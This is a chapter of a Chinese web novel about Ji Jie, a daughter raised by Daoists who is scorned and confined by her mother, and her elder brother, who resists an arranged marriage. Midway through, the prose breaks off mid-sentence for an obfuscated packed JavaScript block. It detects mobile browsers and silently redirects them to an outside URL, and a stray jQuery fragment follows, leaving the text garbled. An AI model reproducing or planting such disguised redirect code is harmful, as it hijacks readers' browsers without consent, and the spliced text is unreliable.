5. 面壁

作品:《旧笑春风

    “今日母亲在全贵妃宫前受挫,女儿知道母亲心情肯定不佳,怪罪于我也无事。”


    “可是…全真道每个道长都很好,他们对我都很好。他们教我习字,伴我成长,告诉我,我是好孩子,是全真道的福星。我没有去阿谀奉承别人,没有丢下四妹…今日谢世子送我回来也只是因为我不认识回家的路。”


    季节独自站在两人面前,声音轻轻却出口有力,语气里没有责怪,没有埋怨。


    只有讲述事实,自己才是被抛弃的事实。


    听完这段话的步夫人气急败坏,嘴巴长成一个圆球那么大,眼珠子快要瞪出来了一样,空着的手大力的拍着木桌,发出巨大的声响,让季节不慎一顿。


    在一旁狐假虎威的听着的季渡都顿了一下,仿佛自己第一次见母亲发这么大的火。


    “强词夺理!顶撞长辈你就是个克星!从你出生开始谁人不说你是家里的克星?还福星呢,我告诉你,你就是被那群下三流的给养坏了!什么和尚,全真道。你给我去面壁思过,禁足!没有我的允许,不准出来。”


    步夫人伸着手指着季节,气势汹汹道:“小高,去,把三姐给我带下去!个丢人现眼的玩意儿,你不要再给我出来了!”


    站在一旁垂首的小高领命,快幅走到季节身前与她主子一个德性,尖声利锐的嗓子说道:“三小姐,请吧。”


    高台上的两人,小女轻抚母亲生气的胸膛,得意洋洋的看着被数落的人,母亲则依偎在小女儿身上,抚摸着她的小手。


    原来这就是母女,这就是书本里写的。


    “喃喃教言语,一一刷毛衣。”


    季节掩埋下眼中的痕迹,这还是她人生中第一次被罚,她转身离开这母慈子孝的场面。


    “雪见?我听说你从安之隅回来了,特意赶回来看看你。”


    在刚跨出门槛没一会,就碰上了季景和,见到季节他面上的笑意更浓了,注意到季节面色不好,神情一变。


    “怎么了?身体不舒服了?需不需要我叫医看看?别在这里站着了,我听说你们今日参加了全贵妃的春日宴,现在铁定累了吧?”


    夕阳余晖映在季景和背后,照在季节身上,夜幕降临,空气逐渐变冷,风拍打在脸上,吹在饱含泪水的眼睛里。


    眼睛好痛,季节心想。


    她朝自己的屋寝方向奔跑,没来得及反应的季景和愣在原地。


    泪水从跑出的第一步开始流下,季节没有去擦,任使它飞舞在空气中。


    她刚刚是哭了吗?季景和心想。


    刚抬脚要去追就被步夫人拦下。


    “季儿,你今怎么赶回来了?也不与我们说声?”步夫人软声细问。


    季渡狂奔冲进季景和怀里,“大哥!你回来啦!”


    季景和被扑了一个满怀,紧紧接住季渡,手指点着她的脑门把她从身上推出去,“我回来看看三妹,可看她的样子怎么哭了?”


    季渡被迫从他怀里离开,听到这句话不屑道:“一个大人了还哭,我个小孩都不会哭。”


    小声嘟囔,“真是白莲花,在谢世子面前装,在哥哥面前也要装。”


    步夫人拍了拍季景和身上不存在的灰尘,唉声叹气道:“不过就是说她两句,倒是怨起我们来了。罢了,让她怪去吧。倒是你,怎么不见你特意回来看看我们呢,就只担心你的好妹妹?”


    脸色一变,笑着对季景和说道:“季儿你应该还没吃饭吧,我让厨房做来,顺便给你洗洗尘。”


    步夫人笑着拉起季景和的手往里走,“小高,去让厨房做些季儿爱吃的菜。”偏头小声说,“顺便把我房里的画拿来。”


    从正堂到季节的房间很远,她一路奔跑穿过各个庭院,才能回到自己的屋舍。刚来京城的那日,母亲就安排她住在离他们最远的地方。


    西厢只有她一人居住,母亲说让她一人独占一块庭院,是家里对她的重视,让她要懂得感恩,把她留在寺庙也只是他们的无奈之举。


    距离太远了,跑太快导致季节喘不上气,只能被迫停下来休息。泪水早已被风吹干,只有面上泪痕和红肿的双眼才能看出她哭过。


    在全真道她夜晚睡不着的时候总会悄悄来到李守辞的房前,敲他的门,让他出来陪自己聊聊天。


    “李守辞,你睡了吗?”季节大力敲着门,生怕屋内人听不见,随后趴在窗前细细听屋内的动静声响。不一会儿,房内窸窸窣窣就亮起了灯。


    “雪见,你大半夜不睡觉,做什么。”李守辞掩着衣裳开窗,被季节吵醒也没生气。


    “我今日学了一首诗,叫记承天寺夜游。当我解衣欲睡时,月色入户,我欣然起行。你看,这不你也没睡嘛!我一个人看月亮多没意思,我就想来找你,陪我一同看月亮。”


    山上的视野很大,没有被房屋阻挡视线,天空点点星辰和弯弯明月总是能勾起季节想家的念头。


    两人坐在李守辞房门前数星星、听蝉鸣,季节环抱双膝,语气平淡,“李守辞,你会想家吗?”


    “不会。”


    “为什么?”


    “全真道就是我的家,也是你的家。我在家里,怎么会想家呢。”李守辞缓缓道来,他能看出季节今夜心情不好,起身回屋。


    回来时手上拿着一盘糖丸,“吃点甜的,心情会好。”季节抓起一把,一颗颗的往嘴里塞。


    这是她长大以来,第一次面对家人的责罚。


    她奄奄地推开木门,她知道母亲为什么讨厌全真道还要把她一个人留在那里了。


    因为她也讨厌她。


    毕竟,她是家里的克星。


    “小姐,把药吃了,就早点歇息吧。今日步夫人说的确实很过分,但小姐不要放在心里,我相信小姐是福星,因为我能遇上这么好的小姐就是我的幸事。”


    “您教我读书写字,总是惦记着我,像把我当作您的朋友一样,在过去的时日里,我可不敢奢想能遇上您这么好的主子。”


    “为何?”季节哭过后


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16898051|192301||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    声音沙哑,喝下热水才稍稍舒服些。


    “因为我们天天被打呀,犯不犯错好像对我们来讲不是很重要。”絮安笑起来,好像在叙说一件无比正常的行为,可看在季节的眼里,她知道,她在强颜欢笑,这样或许能让过去的伤疤更加好受一点。


    “絮安,我知道被抛下的感觉,所以我更能懂你的无奈。他们不分对错的鞭打奴隶,是他们的错,我们不需要认同他们的错误。既然我们能相遇,就是上天在告诉我们,我们是一路人,能一起共进退。今日的事情我不会放在心里,别人怎么说都与我们无关。”


    “你也回去睡吧,我累了。”


    絮安垂头应是,在吹灭蜡烛的同时,她的情绪才能在夜色中展示出来。


    事在人为,境由心造。


    “我不选。”季景和面前排着的几张肖像画,各个柔美艳丽,能看出来是经过步夫人精心挑选出来的,但他看都没看一眼。


    “你不选?你都多大了,你是想一个人一辈子吗?你今日不选,明日也得给我选。你别以为你跑到外面去我就逮不着你,你躲得过初一,可躲不过十五。你今日必须给我选!”


    步夫人站起身扯过几张画,摔在季景和面前,“我给你挑的可是城中最好的姑娘,各个品学兼优,样貌出众。你再继续浪费你的时日,浪费你这张脸,就只剩村口那寡妇给你娶了!”


    “道长都说,三十曰壮,四十曰强。然廿五之后,世途侵迫,心气早秋,形神若入耳顺之年。你在不娶妻生子,我这就死给你看!”


    说罢,撩起衣袖就要往柱子上撞。吓得季渡紧紧抱着步夫人,眼泪大粒的往下掉,“娘,你死了我怎么办啊,大哥,你就答应母亲这一回吧。”


    争吵哭闹的声音层层交织,惹得季景和脸色铁青,说什么也是执意不娶。


    自季景和长大以来,他温顺懂事,父母说东,他就不敢往西,原以为在成婚这件事上也能这么顺利,可屡次三番被他拒绝,才一直拖到现在。


    步夫人恼怒不已,说什么也要他今日做下抉择,破口大骂,“现在是我最后一次让你选择,以后可由不得你!”


    说罢也不顾及哭闹的季渡,挣脱开她的手出了门。


    被甩下的季渡,哭起来更凶了,坐在地面上打滚,嘴上一直嚷嚷讨厌大哥,都怪大哥。原本心疼季渡想扶她起来的季景和,听后,面色沉重,什么也没说,骑着马离开季府,消失在月色下。


    次日得知季景和连夜离开的步夫人眼睛还红肿着,又被气的晕了过去。


    昨夜倒是让季节难得好眠,吃过药后,卷上软被就睡了过去。


    深海,分明是在白天,还会空洞黑暗,她不知道沉了多久,不知道数了多少条鱼,才被人发现。


    哭声此起彼伏围绕在季节耳边,她听不清他们说了什么,只有一双温暖的手轻轻抚摸着她的脸颊,“昭…不听…克……”


    听不清,应该是在骂她吧,这些话她已经听过无数次了…这真的是她的错吗。